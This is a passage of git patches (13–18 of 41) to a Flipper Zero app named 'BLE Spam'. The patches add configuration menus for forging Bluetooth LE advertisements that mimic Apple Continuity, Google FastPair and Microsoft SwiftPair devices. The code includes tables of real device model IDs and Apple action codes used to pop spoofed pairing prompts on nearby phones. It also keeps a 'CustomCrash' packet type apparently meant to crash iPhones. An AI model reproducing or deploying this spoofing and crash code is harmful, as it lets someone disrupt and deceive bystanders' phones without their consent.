Oct 2023 11:45:31 +0100 Subject: [PATCH 13/41] BLE Spam support protocols extra config menus --- applications/external/ble_spam/ble_spam.c | 1 + applications/external/ble_spam/protocols/_base.h | 2 ++ applications/external/ble_spam/scenes/config.c | 8 ++++++++ 3 files changed, 11 insertions(+) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 1104b4595..522201dfb 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -320,6 +320,7 @@ static bool input_callback(InputEvent* input, void* ctx) { if(input->type == InputTypeLong) { if(advertising) toggle_adv(state); state->ctx.attack = &attacks[state->index]; + scene_manager_set_scene_state(state->ctx.scene_manager, SceneConfig, 0); scene_manager_next_scene(state->ctx.scene_manager, SceneConfig); } else if(input->type == InputTypeShort) { toggle_adv(state); diff --git a/applications/external/ble_spam/protocols/_base.h b/applications/external/ble_spam/protocols/_base.h index cba727645..d519f5bf8 100644 --- a/applications/external/ble_spam/protocols/_base.h +++ b/applications/external/ble_spam/protocols/_base.h @@ -8,6 +8,7 @@ #include "ble_spam_icons.h" #include #include +#include "../ble_spam.h" typedef union ProtocolCfg ProtocolCfg; @@ -15,4 +16,5 @@ typedef struct { const Icon* icon; const char* (*get_name)(const ProtocolCfg* _cfg); void (*make_packet)(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg); + uint8_t (*config_list)(Ctx* ctx); } Protocol; diff --git a/applications/external/ble_spam/scenes/config.c b/applications/external/ble_spam/scenes/config.c index 51958b15d..a387fbd25 100644 --- a/applications/external/ble_spam/scenes/config.c +++ b/applications/external/ble_spam/scenes/config.c @@ -15,11 +15,19 @@ void scene_config_on_enter(void* _ctx) { variable_item_list_reset(list); variable_item_list_set_header(list, ctx->attack->title); + uint8_t item_count = 0; + if(ctx->attack->protocol && ctx->attack->protocol->config_list) { + item_count = ctx->attack->protocol->config_list(ctx); + } + UNUSED(item_count); item = variable_item_list_add(list, "Random MAC", 2, random_mac_changed, ctx); variable_item_set_current_value_index(item, ctx->attack->payload.random_mac); variable_item_set_current_value_text(item, ctx->attack->payload.random_mac ? "ON" : "OFF"); + variable_item_list_set_selected_item( + list, scene_manager_get_scene_state(ctx->scene_manager, SceneConfig)); + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewVariableItemList); } From a0d739803870403dde2b87e71e8129d0dd4bc632 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 12:37:53 +0100 Subject: [PATCH 14/41] BLE Spam add more gui modules --- applications/external/ble_spam/ble_spam.c | 21 +++++++++++++++++++++ applications/external/ble_spam/ble_spam.h | 9 +++++++++ 2 files changed, 30 insertions(+) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 522201dfb..c876ac503 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -391,6 +391,18 @@ int32_t ble_spam(void* p) { view_set_input_callback(view_main, input_callback); view_dispatcher_add_view(state->ctx.view_dispatcher, ViewMain, view_main); + state->ctx.byte_input = byte_input_alloc(); + view_dispatcher_add_view( + state->ctx.view_dispatcher, ViewByteInput, byte_input_get_view(state->ctx.byte_input)); + + state->ctx.submenu = submenu_alloc(); + view_dispatcher_add_view( + state->ctx.view_dispatcher, ViewSubmenu, submenu_get_view(state->ctx.submenu)); + + state->ctx.text_input = text_input_alloc(); + view_dispatcher_add_view( + state->ctx.view_dispatcher, ViewTextInput, text_input_get_view(state->ctx.text_input)); + state->ctx.variable_item_list = variable_item_list_alloc(); view_dispatcher_add_view( state->ctx.view_dispatcher, @@ -401,6 +413,15 @@ int32_t ble_spam(void* p) { scene_manager_next_scene(state->ctx.scene_manager, SceneMain); view_dispatcher_run(state->ctx.view_dispatcher); + view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewByteInput); + byte_input_free(state->ctx.byte_input); + + view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewSubmenu); + submenu_free(state->ctx.submenu); + + view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewTextInput); + text_input_free(state->ctx.text_input); + view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewVariableItemList); variable_item_list_free(state->ctx.variable_item_list); diff --git a/applications/external/ble_spam/ble_spam.h b/applications/external/ble_spam/ble_spam.h index f97030d50..1e361b8e2 100644 --- a/applications/external/ble_spam/ble_spam.h +++ b/applications/external/ble_spam/ble_spam.h @@ -1,12 +1,18 @@ #pragma once #include +#include +#include +#include #include #include "scenes/_setup.h" enum { ViewMain, + ViewByteInput, + ViewSubmenu, + ViewTextInput, ViewVariableItemList, }; @@ -18,5 +24,8 @@ typedef struct { ViewDispatcher* view_dispatcher; SceneManager* scene_manager; + ByteInput* byte_input; + Submenu* submenu; + TextInput* text_input; VariableItemList* variable_item_list; } Ctx; From 55c6d42a1823d00d0a9200a7048acddb241bcb6f Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 12:38:38 +0100 Subject: [PATCH 15/41] BLE Spam FastPair model id menu --- .../external/ble_spam/protocols/fastpair.c | 212 ++++++++++++++++-- .../ble_spam/protocols/fastpair_scenes.h | 2 + 2 files changed, 190 insertions(+), 24 deletions(-) diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index e912ce6af..019c8fa5d 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -4,6 +4,35 @@ // Hacked together by @Willy-JL and @Spooks4576 // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction +const struct { + uint32_t id; + const char* name; +} models[] = { + // Genuine devices + {0xCD8256, "Bose NC 700"}, + {0xF52494, "JBL Buds Pro"}, + {0x718FA4, "JBL Live 300TWS"}, + {0x821F66, "JBL Flip 6"}, + {0x92BBBD, "Pixel Buds"}, + {0xD446A7, "Sony XM5"}, + {0x2D7A23, "Sony WF-1000XM4"}, + + // Custom debug popups + {0xD99CA1, "Flipper Zero"}, + {0x77FF67, "Free Robux"}, + {0xAA187F, "Free VBucks"}, + {0xDCE9EA, "Rickroll"}, + {0x87B25F, "Animated Rickroll"}, + {0xF38C02, "Boykisser"}, + {0x1448C9, "BLM"}, + {0xD5AB33, "Xtreme"}, + {0x0C0B67, "Xtreme Cta"}, + {0x13B39D, "Talking Sasquach"}, + {0xAA1FE1, "ClownMaster"}, +}; + +const uint8_t models_count = COUNT_OF(models); + static const char* fastpair_get_name(const ProtocolCfg* _cfg) { const FastpairCfg* cfg = &_cfg->fastpair; UNUSED(cfg); @@ -17,30 +46,7 @@ static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const Protoc if(cfg && cfg->model_id != 0x000000) { model_id = cfg->model_id; } else { - const uint32_t models[] = { - // Genuine devices - 0xCD8256, // Bose NC 700 - 0xF52494, // JBL Buds Pro - 0x718FA4, // JBL Live 300TWS - 0x821F66, // JBL Flip 6 - 0x92BBBD, // Pixel Buds - 0xD446A7, // Sony XM5 - 0x2D7A23, // Sony WF-1000XM4 - - // Custom debug popups - 0xD99CA1, // Flipper Zero - 0x77FF67, // Free Robux - 0xAA187F, // Free VBucks - 0xDCE9EA, // Rickroll - 0x87B25F, // Animated Rickroll - 0xF38C02, // Boykisser - 0x1448C9, // BLM - 0xD5AB33, // Xtreme - 0x0C0B67, // Xtreme Cta - 0x13B39D, // Talking Sasquach - 0xAA1FE1, // ClownMaster - }; - model_id = models[rand() % COUNT_OF(models)]; + model_id = models[rand() % models_count].id; } uint8_t size = 14; @@ -68,8 +74,166 @@ static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const Protoc *_packet = packet; } +enum { + ConfigModelId, +}; + +static void config_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); + switch(index) { + case ConfigModelId: + scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelId); + default: + break; + } +} + +static void model_id_changed(VariableItem* item) { + FastpairCfg* cfg = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + if(index) { + index--; + cfg->model_id = models[index].id; + variable_item_set_current_value_text(item, models[index].name); + } else { + cfg->model_id = 0x000000; + variable_item_set_current_value_text(item, "Random"); + } +} + +static uint8_t fastpair_config_list(Ctx* ctx) { + FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; + VariableItemList* list = ctx->variable_item_list; + uint8_t item_count = 0; + VariableItem* item; + size_t value_index; + + item_count++; + item = variable_item_list_add(list, "Model ID", models_count + 1, model_id_changed, cfg); + const char* model_name = NULL; + char model_name_buf[9]; + if(cfg->model_id == 0x000000) { + model_name = "Random"; + value_index = 0; + } else { + for(uint8_t i = 0; i < models_count; i++) { + if(cfg->model_id == models[i].id) { + model_name = models[i].name; + value_index = i + 1; + break; + } + } + if(!model_name) { + snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->model_id); + model_name = model_name_buf; + value_index = models_count + 1; + } + } + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, model_name); + + variable_item_list_set_enter_callback(list, config_callback, ctx); + + return item_count; +} + const Protocol protocol_fastpair = { .icon = &I_android, .get_name = fastpair_get_name, .make_packet = fastpair_make_packet, + .config_list = fastpair_config_list, }; + +static void model_id_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; + switch(index) { + case 0: + cfg->model_id = 0x000000; + scene_manager_previous_scene(ctx->scene_manager); + break; + case models_count + 1: + scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelIdCustom); + break; + default: + cfg->model_id = models[index - 1].id; + scene_manager_previous_scene(ctx->scene_manager); + break; + } +} + +void scene_fastpair_model_id_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; + Submenu* submenu = ctx->submenu; + uint32_t selected = 0; + bool found = false; + submenu_reset(submenu); + + submenu_add_item(submenu, "Random", 0, model_id_callback, ctx); + if(cfg->model_id == 0x000000) { + found = true; + selected = 0; + } + for(uint8_t i = 0; i < models_count; i++) { + submenu_add_item(submenu, models[i].name, i + 1, model_id_callback, ctx); + if(!found && cfg->model_id == models[i].id) { + found = true; + selected = i + 1; + } + } + submenu_add_item(submenu, "Custom", models_count + 1, model_id_callback, ctx); + if(!found) { + found = true; + selected = models_count + 1; + } + + submenu_set_selected_item(submenu, selected); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); +} + +bool scene_fastpair_model_id_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} + +void scene_fastpair_model_id_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void model_id_custom_callback(void* _ctx) { + Ctx* ctx = _ctx; + scene_manager_previous_scene(ctx->scene_manager); + scene_manager_previous_scene(ctx->scene_manager); +} + +void scene_fastpair_model_id_custom_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; + ByteInput* byte_input = ctx->byte_input; + + byte_input_set_header_text(byte_input, "Enter custom Model ID"); + + byte_input_set_result_callback( + byte_input, + model_id_custom_callback, + NULL, + ctx, + ((void*)&cfg->model_id) + 1, + sizeof(cfg->model_id) - 1); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); +} + +bool scene_fastpair_model_id_custom_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} + +void scene_fastpair_model_id_custom_on_exit(void* _ctx) { + UNUSED(_ctx); +} diff --git a/applications/external/ble_spam/protocols/fastpair_scenes.h b/applications/external/ble_spam/protocols/fastpair_scenes.h index e69de29bb..f2c3e93fd 100644 --- a/applications/external/ble_spam/protocols/fastpair_scenes.h +++ b/applications/external/ble_spam/protocols/fastpair_scenes.h @@ -0,0 +1,2 @@ +ADD_SCENE(fastpair_model_id, FastpairModelId) +ADD_SCENE(fastpair_model_id_custom, FastpairModelIdCustom) From 9b14e7745a25a778c7068453f619ce05b0b770d5 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 12:53:05 +0100 Subject: [PATCH 16/41] BLE Spam SwiftPair display name menu --- .../external/ble_spam/protocols/swiftpair.c | 63 +++++++++++++++++++ .../ble_spam/protocols/swiftpair_scenes.h | 1 + 2 files changed, 64 insertions(+) diff --git a/applications/external/ble_spam/protocols/swiftpair.c b/applications/external/ble_spam/protocols/swiftpair.c index 2728f2887..4f7bc82bf 100644 --- a/applications/external/ble_spam/protocols/swiftpair.c +++ b/applications/external/ble_spam/protocols/swiftpair.c @@ -47,8 +47,71 @@ static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const Proto *_packet = packet; } +enum { + ConfigDisplayName, +}; + +static void config_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); + switch(index) { + case ConfigDisplayName: + scene_manager_next_scene(ctx->scene_manager, SceneSwiftpairDisplayName); + default: + break; + } +} + +static uint8_t swiftpair_config_list(Ctx* ctx) { + SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair; + VariableItemList* list = ctx->variable_item_list; + uint8_t item_count = 0; + VariableItem* item; + + item_count++; + item = variable_item_list_add(list, "Display Name", 0, NULL, NULL); + variable_item_set_current_value_text( + item, cfg->display_name[0] != '\0' ? cfg->display_name : "Random"); + + variable_item_list_set_enter_callback(list, config_callback, ctx); + + return item_count; +} + const Protocol protocol_swiftpair = { .icon = &I_windows, .get_name = swiftpair_get_name, .make_packet = swiftpair_make_packet, + .config_list = swiftpair_config_list, }; + +static void display_name_callback(void* _ctx) { + Ctx* ctx = _ctx; + scene_manager_previous_scene(ctx->scene_manager); +} + +void scene_swiftpair_display_name_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair; + TextInput* text_input = ctx->text_input; + text_input_reset(text_input); + + text_input_set_header_text(text_input, "Leave empty for random"); + + text_input_set_result_callback( + text_input, display_name_callback, ctx, cfg->display_name, sizeof(cfg->display_name), true); + + text_input_set_minimum_length(text_input, 0); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewTextInput); +} + +bool scene_swiftpair_display_name_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} + +void scene_swiftpair_display_name_on_exit(void* _ctx) { + UNUSED(_ctx); +} diff --git a/applications/external/ble_spam/protocols/swiftpair_scenes.h b/applications/external/ble_spam/protocols/swiftpair_scenes.h index e69de29bb..a31058ca4 100644 --- a/applications/external/ble_spam/protocols/swiftpair_scenes.h +++ b/applications/external/ble_spam/protocols/swiftpair_scenes.h @@ -0,0 +1 @@ +ADD_SCENE(swiftpair_display_name, SwiftpairDisplayName) From 4ca096bad5bf2b49dcdb2f560d2237b0ca8ec209 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 16:50:35 +0100 Subject: [PATCH 17/41] Some formatting --- applications/external/ble_spam/protocols/continuity.c | 1 - applications/external/ble_spam/protocols/continuity.h | 4 ++-- applications/external/ble_spam/protocols/fastpair.c | 10 ---------- applications/external/ble_spam/protocols/swiftpair.c | 5 ----- 4 files changed, 2 insertions(+), 18 deletions(-) diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c index 45645356d..297710f3d 100644 --- a/applications/external/ble_spam/protocols/continuity.c +++ b/applications/external/ble_spam/protocols/continuity.c @@ -32,7 +32,6 @@ static uint8_t packet_sizes[ContinuityTypeCount] = { [ContinuityTypeNearbyInfo] = HEADER_LEN + 5, [ContinuityTypeCustomCrash] = HEADER_LEN + 11, }; - static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { const ContinuityCfg* cfg = _cfg ? &_cfg->continuity : NULL; diff --git a/applications/external/ble_spam/protocols/continuity.h b/applications/external/ble_spam/protocols/continuity.h index eb6334731..54f568195 100644 --- a/applications/external/ble_spam/protocols/continuity.h +++ b/applications/external/ble_spam/protocols/continuity.h @@ -23,12 +23,12 @@ typedef struct { ContinuityType type; union { struct { + uint16_t model_id; uint8_t prefix; - uint16_t model; } proximity_pair; struct { - uint8_t flags; uint8_t type; + uint8_t flags; } nearby_action; } data; } ContinuityCfg; diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index 019c8fa5d..8944b7810 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -30,7 +30,6 @@ const struct { {0x13B39D, "Talking Sasquach"}, {0xAA1FE1, "ClownMaster"}, }; - const uint8_t models_count = COUNT_OF(models); static const char* fastpair_get_name(const ProtocolCfg* _cfg) { @@ -77,7 +76,6 @@ static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const Protoc enum { ConfigModelId, }; - static void config_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); @@ -88,7 +86,6 @@ static void config_callback(void* _ctx, uint32_t index) { break; } } - static void model_id_changed(VariableItem* item) { FastpairCfg* cfg = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); @@ -101,7 +98,6 @@ static void model_id_changed(VariableItem* item) { variable_item_set_current_value_text(item, "Random"); } } - static uint8_t fastpair_config_list(Ctx* ctx) { FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; VariableItemList* list = ctx->variable_item_list; @@ -162,7 +158,6 @@ static void model_id_callback(void* _ctx, uint32_t index) { break; } } - void scene_fastpair_model_id_on_enter(void* _ctx) { Ctx* ctx = _ctx; FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; @@ -193,13 +188,11 @@ void scene_fastpair_model_id_on_enter(void* _ctx) { view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); } - bool scene_fastpair_model_id_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } - void scene_fastpair_model_id_on_exit(void* _ctx) { UNUSED(_ctx); } @@ -209,7 +202,6 @@ static void model_id_custom_callback(void* _ctx) { scene_manager_previous_scene(ctx->scene_manager); scene_manager_previous_scene(ctx->scene_manager); } - void scene_fastpair_model_id_custom_on_enter(void* _ctx) { Ctx* ctx = _ctx; FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; @@ -227,13 +219,11 @@ void scene_fastpair_model_id_custom_on_enter(void* _ctx) { view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } - bool scene_fastpair_model_id_custom_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } - void scene_fastpair_model_id_custom_on_exit(void* _ctx) { UNUSED(_ctx); } diff --git a/applications/external/ble_spam/protocols/swiftpair.c b/applications/external/ble_spam/protocols/swiftpair.c index 4f7bc82bf..802e93201 100644 --- a/applications/external/ble_spam/protocols/swiftpair.c +++ b/applications/external/ble_spam/protocols/swiftpair.c @@ -50,7 +50,6 @@ static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const Proto enum { ConfigDisplayName, }; - static void config_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); @@ -61,7 +60,6 @@ static void config_callback(void* _ctx, uint32_t index) { break; } } - static uint8_t swiftpair_config_list(Ctx* ctx) { SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair; VariableItemList* list = ctx->variable_item_list; @@ -89,7 +87,6 @@ static void display_name_callback(void* _ctx) { Ctx* ctx = _ctx; scene_manager_previous_scene(ctx->scene_manager); } - void scene_swiftpair_display_name_on_enter(void* _ctx) { Ctx* ctx = _ctx; SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair; @@ -105,13 +102,11 @@ void scene_swiftpair_display_name_on_enter(void* _ctx) { view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewTextInput); } - bool scene_swiftpair_display_name_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } - void scene_swiftpair_display_name_on_exit(void* _ctx) { UNUSED(_ctx); } From 290d6ea44f72fb7a4734b174bd2f4026dced0c42 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 17:05:24 +0100 Subject: [PATCH 18/41] BLE Spam Continuity config menus --- .../external/ble_spam/protocols/continuity.c | 615 ++++++++++++++++-- .../ble_spam/protocols/continuity_scenes.h | 7 + 2 files changed, 563 insertions(+), 59 deletions(-) diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c index 297710f3d..66887695d 100644 --- a/applications/external/ble_spam/protocols/continuity.c +++ b/applications/external/ble_spam/protocols/continuity.c @@ -6,6 +6,61 @@ // Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/ // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/ +const struct { + uint16_t id; + const char* name; +} pp_models[] = { + {0x0E20, "AirPods Pro"}, + {0x0620, "Beats Solo 3"}, + {0x0A20, "AirPods Max"}, + {0x1020, "Beats Flex"}, + {0x0055, "Airtag"}, + {0x0030, "Hermes Airtag"}, + {0x0220, "AirPods"}, + {0x0F20, "AirPods 2nd Gen"}, + {0x1320, "AirPods 3rd Gen"}, + {0x1420, "AirPods Pro 2nd Gen"}, + {0x0320, "Powerbeats 3"}, + {0x0B20, "Powerbeats Pro"}, + {0x0C20, "Beats Solo Pro"}, + {0x1120, "Beats Studio Buds"}, + {0x0520, "Beats X"}, + {0x0920, "Beats Studio 3"}, + {0x1720, "Beats Studio Pro"}, + {0x1220, "Beats Fit Pro"}, + {0x1620, "Beats Studio Buds+"}, +}; +const uint8_t pp_models_count = COUNT_OF(pp_models); + +const struct { + uint8_t value; + const char* name; +} pp_prefixes[] = { + {0x01, "New Device"}, + {0x07, "Not Your Device"}, + {0x05, "New Airtag"}, +}; +const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes); + +const struct { + uint8_t type; + const char* name; +} na_actions[] = { + {0x13, "AppleTV AutoFill"}, + {0x27, "AppleTV Connecting..."}, + {0x20, "Join This AppleTV?"}, + {0x19, "AppleTV Audio Sync"}, + {0x1E, "AppleTV Color Balance"}, + {0x09, "Setup New iPhone"}, + {0x02, "Transfer Phone Number"}, + {0x0B, "HomePod Setup"}, + {0x01, "Setup New AppleTV"}, + {0x06, "Pair AppleTV"}, + {0x0D, "HomeKit AppleTV Setup"}, + {0x2B, "AppleID for AppleTV?"}, +}; +const uint8_t na_actions_count = COUNT_OF(na_actions); + static const char* type_names[ContinuityTypeCount] = { [ContinuityTypeAirDrop] = "AirDrop", [ContinuityTypeProximityPair] = "Proximity Pair", @@ -83,47 +138,26 @@ static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const Prot } case ContinuityTypeProximityPair: { - uint16_t model; - if(cfg && cfg->data.proximity_pair.model != 0x0000) { - model = cfg->data.proximity_pair.model; + uint16_t model_id; + if(cfg && cfg->data.proximity_pair.model_id != 0x0000) { + model_id = cfg->data.proximity_pair.model_id; } else { - const uint16_t models[] = { - 0x0E20, // AirPods Pro - 0x0620, // Beats Solo 3 - 0x0A20, // AirPods Max - 0x1020, // Beats Flex - 0x0055, // Airtag - 0x0030, // Hermes Airtag - 0x0220, // AirPods - 0x0F20, // AirPods 2nd Gen - 0x1320, // AirPods 3rd Gen - 0x1420, // AirPods Pro 2nd Gen - 0x0320, // Powerbeats 3 - 0x0B20, // Powerbeats Pro - 0x0C20, // Beats Solo Pro - 0x1120, // Beats Studio Buds - 0x0520, // Beats X - 0x0920, // Beats Studio 3 - 0x1720, // Beats Studio Pro - 0x1220, // Beats Fit Pro - 0x1620, // Beats Studio Buds+ - }; - model = models[rand() % COUNT_OF(models)]; + model_id = pp_models[rand() % pp_models_count].id; } uint8_t prefix; if(cfg && cfg->data.proximity_pair.prefix == 0x00) { prefix = cfg->data.proximity_pair.prefix; } else { - if(model == 0x0055 || model == 0x0030) + if(model_id == 0x0055 || model_id == 0x0030) prefix = 0x05; else prefix = 0x01; } packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05) - packet[i++] = (model >> 0x08) & 0xFF; - packet[i++] = (model >> 0x00) & 0xFF; + packet[i++] = (model_id >> 0x08) & 0xFF; + packet[i++] = (model_id >> 0x00) & 0xFF; packet[i++] = 0x55; // Status packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level @@ -178,21 +212,7 @@ static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const Prot if(cfg && cfg->data.nearby_action.type != 0x00) { action = cfg->data.nearby_action.type; } else { - const uint8_t actions[] = { - 0x13, // AppleTV AutoFill - 0x27, // AppleTV Connecting... - 0x20, // Join This AppleTV? - 0x19, // AppleTV Audio Sync - 0x1E, // AppleTV Color Balance - 0x09, // Setup New iPhone - 0x02, // Transfer Phone Number - 0x0B, // HomePod Setup - 0x01, // Setup New AppleTV - 0x06, // Pair AppleTV - 0x0D, // HomeKit AppleTV Setup - 0x2B, // AppleID for AppleTV? - }; - action = actions[rand() % COUNT_OF(actions)]; + action = na_actions[rand() % na_actions_count].type; } uint8_t flag; @@ -223,22 +243,7 @@ static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const Prot case ContinuityTypeCustomCrash: { // Found by @ECTO-1A - const uint8_t actions[] = { - 0x13, // AppleTV AutoFill - 0x27, // AppleTV Connecting... - 0x20, // Join This AppleTV? - 0x19, // AppleTV Audio Sync - 0x1E, // AppleTV Color Balance - 0x09, // Setup New iPhone - 0x02, // Transfer Phone Number - 0x0B, // HomePod Setup - 0x01, // Setup New AppleTV - 0x06, // Pair AppleTV - 0x0D, // HomeKit AppleTV Setup - 0x2B, // AppleID for AppleTV? - }; - uint8_t action = actions[rand() % COUNT_OF(actions)]; - + uint8_t action = na_actions[rand() % na_actions_count].type; uint8_t flag = 0xC0; if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?' if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device' @@ -268,8 +273,500 @@ static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const Prot *_packet = packet; } +enum { + ConfigPpModelId, + ConfigPpPrefix, +}; +enum { + ConfigNaActionType, + ConfigNaFlags, +}; +static void config_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); + switch(cfg->type) { + case ContinuityTypeProximityPair: { + switch(index) { + case ConfigPpModelId: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelId); + break; + case ConfigPpPrefix: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix); + break; + default: + break; + } + break; + } + case ContinuityTypeNearbyAction: { + switch(index) { + case ConfigNaActionType: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionType); + break; + case ConfigNaFlags: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags); + break; + default: + break; + } + break; + } + default: + break; + } +} +static void pp_model_id_changed(VariableItem* item) { + ContinuityCfg* cfg = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + if(index) { + index--; + cfg->data.proximity_pair.model_id = pp_models[index].id; + variable_item_set_current_value_text(item, pp_models[index].name); + } else { + cfg->data.proximity_pair.model_id = 0x0000; + variable_item_set_current_value_text(item, "Random"); + } +} +static void pp_prefix_changed(VariableItem* item) { + ContinuityCfg* cfg = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + if(index) { + index--; + cfg->data.proximity_pair.prefix = pp_prefixes[index].value; + variable_item_set_current_value_text(item, pp_prefixes[index].name); + } else { + cfg->data.proximity_pair.prefix = 0x00; + variable_item_set_current_value_text(item, "Auto"); + } +} +static void na_action_type_changed(VariableItem* item) { + ContinuityCfg* cfg = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + if(index) { + index--; + cfg->data.nearby_action.type = na_actions[index].type; + variable_item_set_current_value_text(item, na_actions[index].name); + } else { + cfg->data.nearby_action.type = 0x00; + variable_item_set_current_value_text(item, "Random"); + } +} +static uint8_t continuity_config_list(Ctx* ctx) { + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + VariableItemList* list = ctx->variable_item_list; + uint8_t item_count = 0; + VariableItem* item; + size_t value_index; + + switch(cfg->type) { + case ContinuityTypeProximityPair: { + item_count++; + item = variable_item_list_add( + list, "Model ID", pp_models_count + 1, pp_model_id_changed, cfg); + const char* model_name = NULL; + char model_name_buf[5]; + if(cfg->data.proximity_pair.model_id == 0x0000) { + model_name = "Random"; + value_index = 0; + } else { + for(uint8_t i = 0; i < pp_models_count; i++) { + if(cfg->data.proximity_pair.model_id == pp_models[i].id) { + model_name = pp_models[i].name; + value_index = i + 1; + break; + } + } + if(!model_name) { + snprintf( + model_name_buf, + sizeof(model_name_buf), + "%04X", + cfg->data.proximity_pair.model_id); + model_name = model_name_buf; + value_index = pp_models_count + 1; + } + } + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, model_name); + + item_count++; + item = + 